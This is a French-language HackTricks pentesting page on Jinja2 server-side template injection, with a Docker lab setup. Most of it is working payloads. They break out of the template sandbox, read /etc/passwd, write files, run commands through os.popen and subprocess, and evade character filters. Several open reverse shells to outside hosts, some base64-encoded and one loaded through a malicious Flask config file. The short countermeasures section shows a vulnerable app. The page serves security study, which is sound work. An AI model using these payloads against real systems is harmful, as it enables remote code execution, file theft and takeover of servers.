hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
2023-06-03 13:10:46 +00:00

16 KiB

Laboratoire

Installation

Pour ce laboratoire, nous aurons besoin de l'image Docker suivante:

docker pull carlospolop/jinja2-ssti

Et nous pouvons l'exécuter avec:

docker run --rm -it -p 5000:5000 carlospolop/jinja2-ssti

Exploitation

Introduction

Jinja2 est un moteur de template pour Python. Il est utilisé pour générer des pages HTML, des courriels et d'autres types de documents. Les SSTI (Server-Side Template Injection) sont des vulnérabilités qui permettent à un attaquant d'injecter du code dans un template, qui sera ensuite exécuté par le serveur. Cela peut entraîner des fuites d'informations sensibles, des attaques de type XSS (Cross-Site Scripting) et même une exécution de code à distance.

Exploitation

Dans ce laboratoire, nous avons un formulaire de recherche qui utilise Jinja2 pour afficher les résultats. Nous pouvons utiliser cette fonctionnalité pour injecter du code malveillant.

Tout d'abord, nous pouvons vérifier si le serveur est vulnérable en envoyant une requête GET avec le paramètre {{7*7}}:

curl http://localhost:5000/search\?query\=\{\{7\*7\}\}

Si le serveur est vulnérable, nous devrions voir 49 dans la réponse.

Maintenant, nous pouvons essayer d'injecter du code malveillant. Par exemple, nous pouvons essayer d'afficher le contenu du fichier /etc/passwd en utilisant la commande cat:

curl http://localhost:5000/search\?query\=\{\{config.items\(\)\[0\]\[1\].__class__.__mro__[1].__subclasses__\(\)\[283\].__init__.__globals__\['\_\_builtins\_\_'\]\['open'\]('/etc/passwd').read()\}\}

Nous devrions voir le contenu du fichier /etc/passwd dans la réponse.

Contre-mesures

Pour éviter les SSTI, il est recommandé d'utiliser des templates qui ne permettent pas l'exécution de code arbitraire. Par exemple, Flask recommande d'utiliser le module Markup pour échapper les caractères spéciaux dans les templates. De plus, il est important de valider les entrées utilisateur et de limiter les permissions du serveur.

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
    if request.args.get('c'):
        return render_template_string(request.args.get('c'))
    else:
        return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
    app.run()

Divers

Déclaration de débogage

Si l'extension de débogage est activée, une balise debug sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.

<pre>

{% raw %}
{% debug %}
{% endraw %}





</pre>

Afficher toutes les variables de configuration

Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement

{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}




Injection Jinja

Tout d'abord, dans une injection Jinja, vous devez trouver un moyen de sortir du bac à sable et récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez abuser des objets qui proviennent de l'environnement non-sandboxé mais qui sont accessibles depuis le bac à sable.

Accès aux objets globaux

Par exemple, dans le code render_template("hello.html", username=username, email=email), les objets username et email proviennent de l'environnement Python non sandboxé et seront accessibles à l'intérieur de l'environnement sandboxé.
****De plus, il existe d'autres objets qui seront toujours accessibles depuis l'environnement sandboxé, ce sont:

[]
''
()
dict
config
request

Récupération de <class 'object'>

Ensuite, à partir de ces objets, nous devons accéder à la classe: <class 'object'> afin d'essayer de récupérer les classes définies. C'est parce que de cet objet, nous pouvons appeler la méthode __subclasses__ et accéder à toutes les classes de l'environnement python non sandboxé.

Pour accéder à cette classe d'objet, vous devez accéder à un objet de classe, puis accéder à __base__, __mro__()[-1] ou .mro()[-1]. Et puis, après avoir atteint cette classe d'objet, nous appelons __subclasses__().

Vérifiez ces exemples:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object". 
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}






# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

Échappement RCE

Ayant récupéré <class 'object'> et appelé __subclasses__, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.

L'appel à __subclasses__ nous a donné l'opportunité d'accéder à des centaines de nouvelles fonctions, nous serons heureux simplement en accédant à la classe de fichier pour lire/écrire des fichiers ou à toute classe ayant accès à une classe qui permet d'exécuter des commandes (comme os).

Lire/écrire un fichier distant

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE (Remote Code Execution)

L'exécution de code à distance (RCE) est une vulnérabilité qui permet à un attaquant d'exécuter du code à distance sur un serveur vulnérable. Cela peut être extrêmement dangereux car cela permet à l'attaquant de prendre le contrôle total du serveur et d'accéder à toutes les données et fonctionnalités qu'il contient. Les attaquants peuvent exploiter cette vulnérabilité en injectant du code malveillant dans une application ou en exploitant une vulnérabilité dans une application existante pour exécuter du code à distance. Les conséquences d'une RCE réussie peuvent être catastrophiques, allant de la perte de données à la prise de contrôle complète du système.

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Calling os.popen without guessing the index of the class

{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


Pour en savoir plus sur d'autres classes que vous pouvez utiliser pour échapper, vous pouvez vérifier:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Contournement de filtres

Contournements courants

Ces contournements nous permettront d'accéder aux attributs des objets sans utiliser certains caractères.
Nous avons déjà vu certains de ces contournements dans les exemples précédents, mais résumons-les ici:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}




Éviter l'encodage HTML

Par défaut, Flask encode en HTML tout ce qui se trouve dans un modèle pour des raisons de sécurité :

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Le filtre safe nous permet d'injecter du JavaScript et du HTML dans la page sans qu'il soit encodé en HTML, comme ceci:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE en écrivant un fichier de configuration malveillant.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Sans plusieurs caractères

Sans {{ . [ ] }} _

{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}



Injection Jinja sans <class 'object'>

À partir des objets globaux, il existe une autre façon d'obtenir une RCE sans utiliser cette classe.
Si vous parvenez à accéder à n'importe quelle fonction de ces objets globaux, vous pourrez accéder à __globals__.__builtins__ et à partir de là, la RCE est très simple.

Vous pouvez trouver des fonctions à partir des objets request, config et tout autre objet global intéressant auquel vous avez accès avec:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les fonctions intégrées avec:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥